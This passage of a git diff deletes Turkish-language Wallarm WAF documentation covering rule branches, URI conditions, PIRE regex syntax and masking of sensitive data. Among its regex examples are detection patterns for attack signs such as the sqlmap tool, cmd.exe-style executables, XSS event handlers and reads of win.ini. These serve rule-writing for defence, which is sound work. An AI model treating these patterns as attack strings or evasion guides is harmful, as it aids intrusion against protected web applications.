---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Configure parsers** seçin. -1. **If request is** içinde, kuralın uygulanacağı kapsamı [açıklayın](rules.md#configuring). -1. `off`/`on` olacak ayrıştırıcıları ekleyin. -1. **In this part of request** içinde, kuralı ayarlamak istediğiniz istek noktalarını belirtin. Wallarm, seçilen istek parametreleri için aynı değerlere sahip istekleri kısıtlayacaktır. - - Kullanılabilir tüm noktalar yukarıda bu makalede açıklanmıştır; belirli kullanım durumunuza uygun olanları seçebilirsiniz. - -1. [Kuralın derlenmesinin ve filtreleme düğümüne yüklenmesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -**Kural örneği** - -`https://example.com/users/` adresine yapılan isteklerin `X-AUTHTOKEN` kimlik doğrulama başlığını gerektirdiğini varsayalım. Başlık değeri, Wallarm tarafından `base64` ayrıştırıcısı ile potansiyel olarak kodu çözülebilecek (ör. sonda `=` gibi) belirli sembol kombinasyonları içerebilir ve bu da saldırı işaretlerinin yanlış tespit edilmesine yol açabilir. Yanlış pozitifleri önlemek için bu kod çözmeyi engellemeniz gerekir. - -Bunu yapmak için kuralı ekrandaki gibi ayarlayın: - -![“Disable/Enable request parser” kuralı örneği](../../images/user-guides/rules/disable-parsers-example.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/rules.md b/docs/latest-tr/user-guides/rules/rules.md deleted file mode 100644 index 4523bc289f..0000000000 --- a/docs/latest-tr/user-guides/rules/rules.md +++ /dev/null @@ -1,403 +0,0 @@ -[link-regex]: https://github.com/yandex/pire -[link-request-processing]: request-processing.md -[img-add-rule]: ../../images/user-guides/rules/section-rules-add-rule.png -[link-attack-detection-tools]: ../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection -[link-sub-plans]: ../../about-wallarm/subscription-plans.md#core-subscription-plans -[link-filtration-mode]: ../../admin-en/configure-wallarm-mode.md -[link-nodes]: ../../about-wallarm/overview.md#how-wallarm-works -[link-sessions]: ../../api-sessions/overview.md -[link-brute-force-protection]: ../../admin-en/configuration-guides/protecting-against-bruteforce.md -[link-cloud-node-synchronization]: ../../admin-en/configure-cloud-node-synchronization-en.md -[img-rules-create-backup]: ../../images/user-guides/rules/rules-create-backup.png - -# Rules - -Kurallar, isteklerin analiz edilmesi ve sonrasında işlenmesi sırasında Wallarm’ın [varsayılan](../../about-wallarm/protecting-against-attacks.md#tools-for-attack-detection) davranışını ince ayar yapmak için kullanılır. Böylece kuralları kullanarak sistemin kötü amaçlı istekleri nasıl tespit ettiğini ve bu tür kötü amaçlı istekler tespit edildiğinde nasıl davrandığını değiştirebilirsiniz. - -Kurallar, [US](https://us1.my.wallarm.com/rules) veya [EU](https://my.wallarm.com/rules) Cloud içindeki **Rules WAF** bölümünde yapılandırılır. - -![Rules section](../../images/user-guides/rules/section-rules.png) - -!!! warning "Kuralın uygulanmasında gecikme" - Kurallarda değişiklik yaptığınızda, bu değişiklikler hemen etkili olmaz; kuralların [derlenmesi](#ruleset-lifecycle) ve filtreleme düğümlerine yüklenmesi zaman alır. - -## Kurallarla neler yapabilirsiniz - -Kuralları kullanarak Wallarm’ın uygulamalarınıza ve API’lerinize yönelik saldırıları nasıl azalttığını kontrol edebilir, saldırı tespitini ince ayar yapabilir ve istek/yanıtları değiştirebilirsiniz: - -* Azaltma kontrolleri: - - * [Gelişmiş hız sınırlama](../../user-guides/rules/rate-limiting.md) - * [Sanal yamalar](../../user-guides/rules/vpatch-rule.md) - * [Özel saldırı algılayıcıları](../../user-guides/rules/regex-rule.md) - * [Dosya yükleme kısıtlamaları](../../api-protection/file-upload-restriction.md#rule-based-protection) - -* Saldırı tespitinin ince ayarı: - - * Belirli alan adları/uç noktalar için [filtreleme modunu geçersiz kılın](../../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) - * [Belirli saldırıları yok sayın](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types) - * Belirli alan adları/uç noktalar veya istek bölümleri için [özel saldırı algılayıcılarını devre dışı bırakın](../../user-guides/rules/regex-rule.md#partial-disabling) - * [İkili veri işleme](../../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data) yapılandırın - * [Ayrıştırıcıları yapılandırarak](../../user-guides/rules/request-processing.md#managing-parsers) istek işlemeyi ince ayar yapın - * Belirli alan adları/uç noktalar ve istekler için [API Abuse Prevention’ı devre dışı bırakın](../../api-abuse-prevention/exceptions.md#exceptions-for-target-urls-and-specific-requests) - * [İstek işleme süresini sınırlandırarak](../../user-guides/rules/configure-overlimit-res-detection.md) düğüm işleyişini ince ayar yapın - - -* İstek/yanıtları değiştirin: - - * [Hassas verileri maskeleyin](../../user-guides/rules/sensitive-data-rule.md) - * [Yanıt başlıklarını değiştirerek](../../user-guides/rules/add-replace-response-header.md) uygulama güvenliğinin ek bir katmanını yapılandırın - - -## Rule branches - -Kurallar, uç nokta URI’leri ve diğer koşullara göre otomatik olarak iç içe geçmiş dallar halinde gruplanır. Bu, kuralların aşağıya doğru devralındığı ağaç benzeri bir yapı oluşturur. İlkeler: - -* Tüm dallar [varsayılan](#default-rules) kuralları devralır. -* Bir dalda, alt uç noktalar üstten kuralları devralır. -* Ayrık olan, devralınan üzerinde önceliklidir. -* Doğrudan belirtilen, [regex](rules.md#condition-type-regex) üzerinde önceliklidir. -* [Büyük/küçük harf duyarlı](rules.md#condition-type-equal), [duyarsız](rules.md#condition-type-iequal-aa) üzerinde önceliklidir. - -![Kurallar sekmesine genel bakış](../../images/user-guides/rules/rules-overview.png) - - -### Default rules - -Belirli bir uç noktayla bağlantılı olmayan, ancak eylemi belirtilmiş kurallar oluşturabilirsiniz - bunlara **default rules** denir. Bu tür kurallar tüm uç noktalara uygulanır. - -* Varsayılan kural oluşturmak için, [standart prosedürü](#configuring) izleyin ancak URI’yi boş bırakın. Herhangi bir uç noktaya bağlı olmayan yeni kural oluşturulacaktır. -* Oluşturulan varsayılan kuralların listesini görüntülemek için **Default rules** düğmesine tıklayın. -* Varsayılan kurallar tüm dallar tarafından devralınır. - -!!! info "Trafik filtreleme modu varsayılan kuralı" - Wallarm, tüm müşteriler için `Set filtration mode` varsayılan kuralını otomatik olarak oluşturur ve değerini [genel filtreleme modu](../../admin-en/configure-wallarm-mode.md#general-filtration-mode) ayarına göre belirler. - -### Dal kurallarını görüntüleme - -Kural dallarıyla çalışmaya ilişkin bazı detaylar: - -* Uç noktayı genişletmek için mavi daireye tıklayın. -* Ayrık kuralları olmayan uç noktalar gri renklidir ve tıklanamaz. - - ![Uç noktaların dalı](../../images/user-guides/rules/rules-branch.png) - -* Uç noktanın kurallarını görüntülemek için üzerine tıklayın. İlk olarak, bu uç nokta için ayrık kurallar görüntülenecektir. -* Belirli bir uç noktanın kural listesini görüntülerken, devralınanları görüntülemek için **Distinct and inherited rules** üzerine tıklayın. Devralınan kurallar, ayrık olanlarla birlikte görüntülenir; ayrıklara kıyasla gri renkte olurlar. - - ![Uç nokta için ayrık ve devralınan kurallar](../../images/user-guides/rules/rules-distinct-and-inherited.png) - - -## Configuring - -Yeni bir kural eklemek için [US](https://us1.my.wallarm.com/rules) veya [EU](https://my.wallarm.com/rules) Cloud içindeki **Rules WAF** bölümüne gidin. Kurallar, mevcut [dallara](#rule-branches) eklenebileceği gibi sıfırdan da eklenebilir; bu durumda henüz yoksa yeni bir dal oluşturulur. - -![Yeni kural ekleme][img-add-rule] - -Bir kuralın bir isteğe yalnızca bazı koşullar karşılandığında (hedef uç nokta, yöntem, bazı parametrelerin veya değerlerin varlığı vb.) uygulandığını unutmayın. Ayrıca, genellikle yalnızca bazı istek bölümlerine uygulanır. İstek yapısının kurallarla etkileşimini daha iyi anlamak için filtreleme düğümünün [istekleri nasıl analiz ettiğini][link-request-processing] öğrenmeniz önerilir. - -Kural koşulları şu yollarla tanımlanabilir: - -* [URI constructor](#uri-constructor) - kural koşullarının yalnızca tek bir satırda istek yöntemi ve uç nokta belirlenerek yapılandırılmasına olanak tanır. -* [Advanced edit form](#advanced-edit-form) - URI constructor’ı genişleterek yalnızca yöntem/uç noktayı değil, uygulama, başlıklar, sorgu dizesi parametreleri ve diğerleri gibi ek kural koşullarını yapılandırmaya olanak tanır. - - -### URI constructor - -URI constructor, kural koşullarının yalnızca tek bir satırda istek yöntemi ve uç nokta belirlenerek yapılandırılmasını sağlar. - -#### Genel kullanım - -URI constructor aşağıdakileri sunar: - -* İstek yöntemi için seçici. Yöntem seçilmezse, kural herhangi bir yöntemle yapılan isteklere uygulanır. -* Aşağıdaki değer biçimlerini kabul eden istek uç noktası alanı: - - | Biçim | Örnek | - | ------ | ------ | - | Aşağıdaki bileşenleri içeren tam URI:
              • Şema (değer yok sayılır, şemayı açıkça advanced form kullanarak belirtebilirsiniz)
              • Alan adı veya IP adresi
              • Port
              • Yol
              • Sorgu dizesi parametreleri
              | `https://example.com:3000/api/user.php?q=action&w=delete`
              • `[header, 'HOST']` - `example.com:3000`
              • `[path, 0]` - `api`
              • `[path, 1]` - `∅`
              • `[action_name]` - `user`
              • `[action_ext]` - `php`
              • `[query, 'q']` - `action`
              • `[query, 'w']` - `delete`
              | - | Bazı bileşenleri atlanmış URI | `example.com/api/user`
              • `[header, 'HOST']` - `example.com`
              • `[path, 0]` - `api`
              • `[path, 1]` - `∅`
              • `[action_name]` - `user`
              • `[action_ext]` - `∅`

              `http://example.com/api/clients/user/?q=action&w=delete`
              • `[header, 'HOST']` - `example.com`
              • `[path, 0]` - `api`
              • `[path, 1]` - `clients`
              • `[path, 2]` - `∅`
              • `[action_name]` - `user`
              • `[query, 'q']` - `action`
              • `[query, 'w']` - `delete`

              `/api/user`
              • ``[header, 'HOST']` - herhangi bir değer
              • `[path, 0]` - `api`
              • `[path, 1]` - `∅`
              • `[action_name]` - `user`
              • `[action_ext]` - `∅`
              | - | Bileşenin herhangi bir boş‑olmayan değerini ifade eden `*` içeren URI | `example.com/*/create/*.*`
              • `[header, 'HOST']` - `example.com`
              • `[path, 0]` - herhangi bir boş‑olmayan değer (advanced edit form’da gizlenir)
              • `[path, 1]` - `create`
              • `[path, 2]` - `∅`
              • `[action_name]` - herhangi bir boş‑olmayan değer (advanced edit form’da gizlenir)
              • `[action_ext]` - herhangi bir boş‑olmayan değer (advanced edit form’da gizlenir)
                • Değer, `example.com/api/create/user.php` ile eşleşir
                ve `example.com/create/user.php` ile `example.com/api/create` ile eşleşmez.
              | - | Bileşen sayısının yokluğu dahil herhangi bir sayıda bileşeni ifade eden `**` içeren URI | `example.com/**/user`
              • `[header, 'HOST']` - `example.com`
              • `[action_name]` - `user`
              • `[action_ext]` - `∅`
                • Değer, `example.com/api/create/user` ve `example.com/api/user` ile eşleşir.
                Değer, `example.com/user`, `example.com/api/user/index.php` ve `example.com/api/user/?w=delete` ile eşleşmez.

              `example.com/api/**/*.*`
              • `[header, 'HOST']` - `example.com`
              • `[path, 0]` - `api`
              • `[action_name]` - herhangi bir boş‑olmayan değer (advanced edit form’da gizlenir)
              • `[action_ext]` - herhangi bir boş‑olmayan değer (advanced edit form’da gizlenir)
                • Değer, `example.com/api/create/user.php` ve `example.com/api/user/create/index.php` ile eşleşir
                ve `example.com/api`, `example.com/api/user` ve `example.com/api/create/user.php?w=delete` ile eşleşmez.
              | - | Belirli bileşen değerlerini eşleştirmek için [düzenli ifade](#condition-type-regex) içeren URI (regexp `{{}}` içine alınmalıdır) | `example.com/user/{{[0-9]}}`
              • `[header, 'HOST']` - `example.com`
              • `[path, 0]` - `user`
              • `[path, 1]` - `∅`
              • `[action_name]` - `[0-9]`
              • `[action_ext]` - `∅`
                • Değer, `example.com/user/3445` ile eşleşir
                ve `example.com/user/3445/888` ve `example.com/user/3445/index.php` ile eşleşmez.
              | - -URI constructor’da belirtilen dize, otomatik olarak bir [koşullar](#conditions) kümesine ayrıştırılır: - -* `method` -* `header`. URI constructor yalnızca `HOST` başlığının belirtilmesine izin verir. -* `path`, `action_name`, `action_ext`. Kural oluşturmayı onaylamadan önce, bu istek bölümlerinin değerlerinin aşağıdaki yollardan biriyle ayrıştırıldığından emin olun: - * Belirli bir `path` numarasının açık değeri + `action_name` + `action_ext` (isteğe bağlı) - * `action_name` + `action_ext`’in (isteğe bağlı) açık değeri - * `action_name` ve `action_ext` olmadan belirli bir `path` numarasının açık değeri -* `query` - -URI constructor’da belirtilen değer, yalnızca [advanced edit form](#advanced-edit-form) içinde mevcut olan diğer koşullarla tamamlanabilir. - -#### Joker karakterleri kullanma - -Wallarm’da URI constructor ile çalışırken joker karakterleri kullanabilir misiniz? Hem hayır hem evet. “Hayır”, onları [klasik](https://en.wikipedia.org/wiki/Wildcard_character) şekilde kullanamayacağınız anlamına gelir; “evet” ise şu şekilde davranarak aynı sonuca ulaşabileceğiniz anlamına gelir: - -* URI’nizin ayrıştırılmış bileşenleri içinde joker karakterler yerine düzenli ifadeler kullanın. -* Bir veya herhangi bir sayıda bileşenin yerine geçmesi için URI alanının kendisine `*` veya `**` sembolünü yerleştirin (örnekler için [yukarıdaki](#uri-constructor) bölüme bakın). - -**Bazı detaylar** - -Düzenli ifadenin sözdizimi klasik joker karakterlerden farklıdır, ancak aynı sonuçlara ulaşılabilir. Örneğin, şu maskeye karşılık gelmesini istiyorsunuz: - -* `something-1.example.com/user/create.com` ve -* `anything.something-2.example.com/user/create.com` - -...ki klasik jokerlerde şöyle bir şey yazarak elde etmeye çalışırsınız: - -* `*.example.com/user/create.com` - -Ancak Wallarm’da `something-1.example.com/user/create.com` ifadeniz şu şekilde bileşenlere ayrıştırılacaktır: - -![URI’nin bileşenlere ayrıştırılması örneği](../../images/user-guides/rules/something-parsed.png) - -...burada `something-1.example.com` bir `header`-`HOST` koşuludur. Joker karakterin koşul içinde kullanılamayacağını belirtmiştik, bu yüzden bunun yerine düzenli ifade kullanmamız gerekiyor: koşul türünü REGEX olarak ayarlayın ve ardından Wallarm’a [özgü sözdizimini](#condition-type-regex) kullanın: - -1. “Herhangi bir sayıda sembol” anlamında `*` kullanmayın. -1. “Gerçek nokta” olarak yorumlanmasını istediğimiz tüm `.` karakterlerini köşeli parantez içine alın: - - `something-1[.]example[.]com` - -1. “Herhangi bir sembol” yerine `.`’yı parantezsiz kullanın ve ardından “öncekilerin 0 veya daha fazla tekrarı” anlamına gelen nicelik belirteci olarak `*` koyun; yani `.*` ve: - - `.*[.]example[.]com` - -1. Oluşturduğumuz ifadenin bileşenimizin sonunda olması gerektiğini belirtmek için sona `$` ekleyin: - - `.*[.]example[.]com$` - - !!! info "Daha basit yol" - `.*` ifadesini atlayabilir ve yalnızca `[.]example[.]com$` bırakabilirsiniz. Her iki durumda da Wallarm, `[.]example[.]com$` ifadesinden önce herhangi bir karakterin herhangi bir sayıda görünebileceğini varsayacaktır. - - ![Header bileşeninde düzenli ifade kullanımı](../../images/user-guides/rules/wildcard-regex.png) - - -### Advanced edit form - -Advanced edit form, (yöntem ve URI) [URI constructor](#uri-constructor) olasılıklarını genişleterek hem bunları hem de uygulama, başlıklar, sorgu dizesi parametreleri ve diğerleri gibi ek kural koşullarını yapılandırmayı sağlar. - - -#### Koşullar - -Koşullar, hangi istek parçalarında hangi değerlerin sunulması gerektiğini belirtir. Kural, tüm koşulları karşılandığında uygulanır. Koşullar, kuralın **If request is** bölümünde listelenir. - -Şu koşullar şu anda desteklenmektedir: - -* **application**: uygulama kimliği. -* **proto**: HTTP protokol sürümü (1.0, 1.1, 2.0, ...). -* **scheme**: http veya https. -* **uri**: alan adı olmadan istek URL’sinin bir parçası (örneğin, `http://example.com/blogs/123/index.php?q=aaa` isteği için `/blogs/123/index.php?q=aaa`). -* **path**, **action_name**, **action_ext**, hiyerarşik URI bileşeni dizisidir; burada: - - * **path**: `/` sembolüyle ayrılmış URI parçalarını içeren bir dizi (URI’nin son parçası diziye dahil edilmez). URI’de yalnızca bir parça varsa, dizi boş olacaktır. - * **action_name**: `/` sembolünden sonra ve ilk nokta (`.`) öncesindeki URI’nin son parçası. Bu URI parçası, değeri boş bir dize olsa bile isteklerde her zaman bulunur. - * **action_ext**: Son noktadan (`.`) sonraki URI kısmı. İsteklerde bulunmayabilir. -* **query**: sorgu dizesi parametreleri. -* **header**: istek başlıkları. Bir başlık adı girdiğinizde, en yaygın değerler açılır listede görüntülenir. Örneğin: `HOST`, `USER-AGENT`, `COOKIE`, `X-FORWARDED-FOR`, `AUTHORIZATION`, `REFERER`, `CONTENT-TYPE`. - - !!! info "`HOST` başlığı için FQDN ve IP adreslerine yönelik kuralları yönetme" - `HOST` başlığı bir FQDN’e ayarlanmışsa, ilişkili IP adresini hedefleyen istekler kuraldan etkilenmez. Kuralın bu tür isteklere uygulanması için, kural koşullarında `HOST` başlığı değerini ilgili IP olarak ayarlayın veya hem FQDN hem de IP için ayrı kurallar oluşturun. - - `HOST` başlığını değiştiren bir yük dengeleyicisinin arkasında konumlandığında, Wallarm düğümü kuralları orijinal değere değil, güncellenmiş değere göre uygular. Örneğin, dengeleyici `HOST`’u bir IP’den bir alan adına çevirirse, düğüm o alan adına ait kuralları uygular. - -* **method**: istek yöntemleri. Değer açıkça belirtilmemişse, kural herhangi bir yöntemle yapılan isteklere uygulanır. - -#### Koşul türü: EQUAL (`=`) - -Değer, karşılaştırma bağımsız değişkeniyle tam olarak eşleşmelidir. Örneğin, yalnızca `example` değeri `example` ile eşleşir. - -!!! info "HOST başlık değeri için EQUAL koşul türü" - Daha fazla isteği kurallarla kapsamak için HOST başlığı için EQUAL koşul türünü kısıtladık. EQUAL türü yerine, parametre değerlerini herhangi bir büyük/küçük harf düzeninde kabul eden IEQUAL türünü kullanmanızı öneririz. - - EQUAL türünü daha önce kullandıysanız, otomatik olarak IEQUAL türü ile değiştirilecektir. - -#### Koşul türü: IEQUAL (`Aa`) - -Değer, karşılaştırma bağımsız değişkeniyle herhangi bir büyük/küçük harf düzeninde eşleşmelidir. Örneğin: `example`, `ExAmple`, `exampLe` değerleri `example` ile eşleşir. - - -#### Koşul türü: REGEX (`.*`) - -Değer, düzenli ifadeyle eşleşmelidir. - -**Düzenli ifade sözdizimi** - -Düzenli ifadelerle istekleri eşleştirmek için PIRE kütüphanesi kullanılır. Çoğunlukla ifadelerin sözdizimi standarttır ancak aşağıda ve [PIRE deposunun][link-regex] README dosyasında açıklandığı gibi bazı özellikler vardır. - -??? info "Düzenli ifade sözdizimini göster" - Olduğu gibi kullanılabilecek karakterler: - - * Küçük Latin harfleri: `a b c d e f g h i j k l m n o p q r s t u v w x y z` - * Büyük Latin harfleri: `A B C D E F G H I J K L M N O P Q R S T U V W X Y Z` - * Rakamlar: `0 1 3 4 5 6 7 8 9` - * Özel karakterler: ! " # % ' , - / : ; < = > @ ] _ ` } - * Boşluk karakterleri - - `\` ile kaçırmak yerine köşeli parantez `[]` içine alınması gereken karakterler: - - * `. $ ^ { [ ( | ) * + ? \ & ~` - - ISO‑8859’a göre ASCII’ye dönüştürülmesi gereken karakterler: - - * UTF‑8 karakterleri (örneğin, `ʃ` karakterinin ASCII karşılığı `ʃ`’dür) - - Karakter grupları: - - * Yeni satır dışında herhangi bir karakter için `.` - * Düzenli ifadeleri gruplamak, `()` içindeki sembolleri aramak veya öncelik sırası belirlemek için `()` - * `[]` içindeki bir tek karakter (büyük/küçük harfe duyarlı); grup, belirli durumlar için kullanılabilir: - * büyük/küçük harfi yok saymak için (örneğin, `[cC]`) - * küçük Latin harflerinden birini eşleştirmek için `[a-z]` - * büyük Latin harflerinden birini eşleştirmek için `[A-Z]` - * rakamlardan birini eşleştirmek için `[0-9]` - * küçük veya büyük Latin harflerinden, veya rakamlardan, veya noktadan birini eşleştirmek için `[a-zA-Z09[.]]` - - Mantık karakterleri: - - * `~`, NOT’a eşittir. Ters çevrilmiş ifade ve karakter `()` içine alınmalıdır,
              örneğin: `(~(a))` - * `|`, OR’a eşittir - * `&`, AND’e eşittir - - Dize sınırlarını belirtmek için karakterler: - - * Dizinin başlangıcı için `^` - * Dizinin sonu için `$` - - Nicelik belirteçleri: - - * Önceki düzenli ifadenin 0 veya daha fazla tekrarı için `*` - * Önceki düzenli ifadenin 1 veya daha fazla tekrarı için `+` - * Önceki düzenli ifadenin 0 veya 1 tekrarı için `?` - * Önceki düzenli ifadenin `m` tekrarına karşılık `{m}` - * Önceki düzenli ifadenin `m` ile `n` arası tekrarına karşılık `{m,n}`; `n`’in atlanması, üst sınırın sonsuz olduğunu belirtir - - Özgül davranışla çalışan karakter kombinasyonları: - - * `^.*$`, `^.+$`’a eşittir (boş değerler `^.*$` ile eşleşmez) - * `^.?$`, `^.{0,}$`, `^.{0,n}$`, `^.+$`’a eşittir - - Geçici olarak desteklenmeyenler: - - * Alfabetik olmayanlar için `\W`, alfabetikler için `\w`, rakam olmayanlar için `\D`, ondalıklar için `\d`, boşluk olmayanlar için `\S`, boşluklar için `\s` gibi karakter sınıfları - - Desteklenmeyen sözdizimi: - - * Üç basamaklı sekizlik kodlar `\NNN`, `\oNNN`, `\ONNN` - * `\c` ile denetim karakterleri geçirme `\cN` (örneğin, CTRL+C için `\cC`) - * Dizinin başlangıcı için `\A` - * Dizinin sonu için `\z` - * Dizinin sonunda boşluk karakterinden önce veya sonra `\b` - * Tembel nicelik belirteçleri `??`, `*?`, `+?` - * Koşullular - -**Düzenli ifadeleri test etme** - -Bir düzenli ifadeyi test etmek için Wallarm **cpire** yardımcı programını kullanın. Linux tabanlı işletim sisteminize [Wallarm hepsi-bir-arada yükleyici](../../installation/nginx/all-in-one.md) ile kurun veya [Wallarm NGINX tabanlı Docker imajından](../../admin-en/installation-docker-en.md) aşağıdaki gibi çalıştırın: - -=== "Hepsi-bir-arada yükleyici" - 1. Wallarm hepsi-bir-arada yükleyicisini henüz indirmediyseniz indirin: - - ``` - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.x86_64-glibc.sh - ``` - 1. Wallarm modüllerini henüz kurmadıysanız kurun: - - ``` - sudo sh wallarm-6.5.1.x86_64-glibc.sh -- --batch --token - ``` - 1. **cpire** yardımcı programını çalıştırın: - - ```bash - /opt/wallarm/usr/bin/cpire-runner -r '' - ``` - 1. Düzenli ifadeyle eşleşip eşleşmediğini kontrol etmek istediğiniz değeri girin. -=== "NGINX tabanlı Docker imajı" - 1. **cpire** yardımcı programını Wallarm Docker imajından çalıştırın: - - ``` - docker run --rm -it wallarm/node:6.5.1 /opt/wallarm/usr/bin/cpire-runner -r '' - ``` - 1. Düzenli ifadeyle eşleşip eşleşmediğini kontrol etmek istediğiniz değeri girin. - -Yardımcı program şu sonucu döndürür: - -* Değer düzenli ifadeyle eşleşirse `0` -* Değer düzenli ifadeyle eşleşmezse `FAIL` -* Düzenli ifade geçersizse hata mesajı - -!!! warning "`\` karakterinin ele alınmasına ilişkin özellikler" - İfade `\` içeriyorsa, lütfen `[]` ve `\` ile kaçırın (örneğin, `[\\]`). - -**Wallarm Console üzerinden eklenen düzenli ifade örnekleri** - -* /.git içeren herhangi bir dizeyle eşleşmek için - - ``` - /[.]git - ``` -* .example.com içeren herhangi bir dizeyle eşleşmek için - - ``` - [.]example[.]com - ``` -* `*`’in herhangi bir sembolün herhangi bir sayıda tekrarı olabildiği /.example.*.com ile biten herhangi bir dizeyle eşleşmek için - - ``` - /[.]example[.].*[.]com$ - ``` -* 1.2.3.4 ve 5.6.7.8 hariç tüm IP adresleriyle eşleşmek için - - ``` - ^(~((1[.]2[.]3[.]4)|(5[.]6[.]7[.]8)))$ - ``` -* /.example.com.php ile biten herhangi bir dizeyle eşleşmek için - - ``` - /[.]example[.]com[.]php$ - ``` -* Küçük ve büyük harflerle sqLmAp, SqLMap vb. varyasyonlarıyla sqlmap içeren herhangi bir dizeyle eşleşmek için - - ``` - [sS][qQ][lL][mM][aA][pP] - ``` -* admin\\.exe, admin\\.bat, admin\\.sh, cmd\\.exe, cmd\\.bat, cmd\\.sh değerlerinden bir veya birkaçını içeren herhangi bir dizeyle eşleşmek için - - ``` - (admin|cmd)[\\].(exe|bat|sh) - ``` -* Küçük/büyük harf varyasyonlarıyla onmouse, küçük/büyük harf varyasyonlarıyla onload, win\\.ini, prompt değerlerinden bir veya birkaçını içeren herhangi bir dizeyle eşleşmek için - - ``` - [oO][nN][mM][oO][uU][sS][eE]|[oO][nN][lL][oO][aA][dD]|win[\\].ini|prompt - ``` -* `Mozilla` ile başlayan ancak `1aa875F49III` dizesini içermeyen herhangi bir dizeyle eşleşmek için - - ``` - ^(Mozilla(~(.*1aa875F49III.*)))$ - ``` -* Şu değerlerden biriyle başlayan herhangi bir dizeyle eşleşmek için: `python-requests/`, `PostmanRuntime/`, `okhttp/3.14.0`, `node-fetch/1.0` - - ``` - ^(python-requests/|PostmanRuntime/|okhttp/3.14.0|node-fetch/1.0) - ``` - -#### Koşul türü: ABSENT (`∅`) - -İstek, belirtilen parçayı içermemelidir. Bu durumda karşılaştırma bağımsız değişkeni kullanılmaz. - - -## Kurallar kümesi yaşam döngüsü - -Oluşturulan tüm kurallar ve [azaltma kontrolleri](../../about-wallarm/mitigation-controls-overview.md) özel bir kural kümesi oluşturur. Wallarm düğümü, gelen istekleri analiz ederken özel kural kümesine dayanır. - -Kurallardaki ve azaltma kontrollerindeki değişiklikler anında etkili OLMAZ. Değişiklikler, özel kural kümesinin **oluşturulması** ve **filtreleme düğümüne yüklenmesi** tamamlandıktan sonra istek analizi sürecine uygulanır. - ---8<-- "../include/custom-ruleset.md" - -## Kuralları almak için API çağrıları - -Özel kuralları almak için [Wallarm API’sini doğrudan çağırabilirsiniz](../../api/request-examples.md#get-all-configured-rules). \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/sensitive-data-rule.md b/docs/latest-tr/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index 743315c567..0000000000 --- a/docs/latest-tr/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1,43 +0,0 @@ -[img-masking]: ../../images/user-guides/rules/sensitive-data-rule.png -[rule-creation-options]: ../../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../../api-discovery/setup.md#enable - -# Hassas Verilerin Maskelenmesi - -[hibrit](../../about-wallarm/shared-responsibility.md#overview) Wallarm kurulumlarında, Wallarm filtreleme düğümlerini kendi altyapınızda siz yönetirken ve Wallarm, Wallarm Cloud bileşenini yönetirken, isteklerinizdeki hassas verilerin altyapınız içinde güvende kalması ve [Wallarm Cloud](../../about-wallarm/overview.md#how-wallarm-works) dahil herhangi bir üçüncü taraf servise iletilmemesi kritik öneme sahiptir. Bu hedef [paylaşılan sorumluluk modeli](../../about-wallarm/shared-responsibility.md) kullanılarak gerçekleştirilir: Wallarm kendi tarafında, hassas verilerin açığa çıkma ihtimalini son derece düşüren, yalnızca kötü amaçlı isteklere ilişkin verileri iletir; sizin tarafınızda ise hassas verilerin maskelenmesi beklenir; bu da korunan bilgi alanlarının güvenlik çevrenizi asla terk etmeyeceğini ek olarak garanti eder. - -!!! info "Diğer dağıtım biçimleri" - **security edge** [kurulumlarda](../../about-wallarm/shared-responsibility.md#overview) tüm veriler güvenlik çevresi dışındadır; yine de Wallarm Console kullanıcılarının hassas verilere erişimini kısıtlamak için maskeleme kurallarını kullanabilirsiniz. - -Wallarm, veri maskelemeyi yapılandırmak için **Mask sensitive data** [kuralını](../rules/rules.md) sağlar. Wallarm düğümü Wallarm Cloud’a aşağıdaki verileri gönderir: - -* Saldırı içeren serileştirilmiş istekler -* Wallarm sistem sayaçları -* Sistem istatistikleri: CPU yükü, RAM kullanımı vb. -* Wallarm sistem istatistikleri: işlenen NGINX isteklerinin sayısı, wstore istatistikleri vb. -* Uygulama yapısını doğru şekilde tespit etmek için Wallarm’ın ihtiyaç duyduğu trafik doğasına ilişkin bilgiler - -**Mask sensitive data** kuralı, isteği postanalytics modülüne ve Wallarm Cloud’a göndermeden önce belirtilen istek noktasının özgün değerini keser. Bu yöntem, hassas verilerin güvenilen ortamın dışına sızamayacağını garanti eder. - -Bu, saldırıların görüntülenmesini ve kaba kuvvet (brute force) saldırılarının tespitini etkileyebilir. - -## Kural oluşturma ve uygulama - -Veri maskesini ayarlamak ve uygulamak için: - ---8<-- "../include/rule-creation-initial-step.md" -1. **Change requests/responses** → **Mask sensitive data** öğesini seçin. -1. **If request is** bölümünde, kuralın uygulanacağı kapsamı [açıklayın](rules.md#configuring). -1. **In this part of request** bölümünde, özgün değeri kesilecek [istek noktalarını](request-processing.md) belirtin. -1. [Kuralın derlenmesinin ve filtreleme düğümüne yüklenmesinin tamamlanmasını](rules.md#ruleset-lifecycle) bekleyin. - -## Örnek: bir çerez değerinin maskelenmesi - -Diyelim ki `example.com` alan adından erişilebilen uygulamanız, kullanıcı kimlik doğrulaması için `PHPSESSID` çerezini kullanıyor ve Wallarm kullanan çalışanların bu bilgiye erişimini engellemek istiyorsunuz. - -Bunu yapmak için, **Mask sensitive data** kuralını ekran görüntüsünde gösterildiği gibi ayarlayın. - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -![Hassas verilerin işaretlenmesi][img-masking] \ No newline at end of file diff --git a/docs/latest-tr/user-guides/rules/vpatch-rule.md b/docs/latest-tr/user-guides/rules/vpatch-rule.md deleted file mode 100644 index 29acc55910..0000000000 --- a/docs/latest-tr/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1,60 +0,0 @@ -[img-vpatch-example1]: ../../images/user-guides/rules/vpatch-rule-1.png -[img-vpatch-example2]: ../../images/user-guides/rules/vpatch-rule-2.png -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[rule-creation-options]: ../../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../../user-guides/rules/request-processing.md 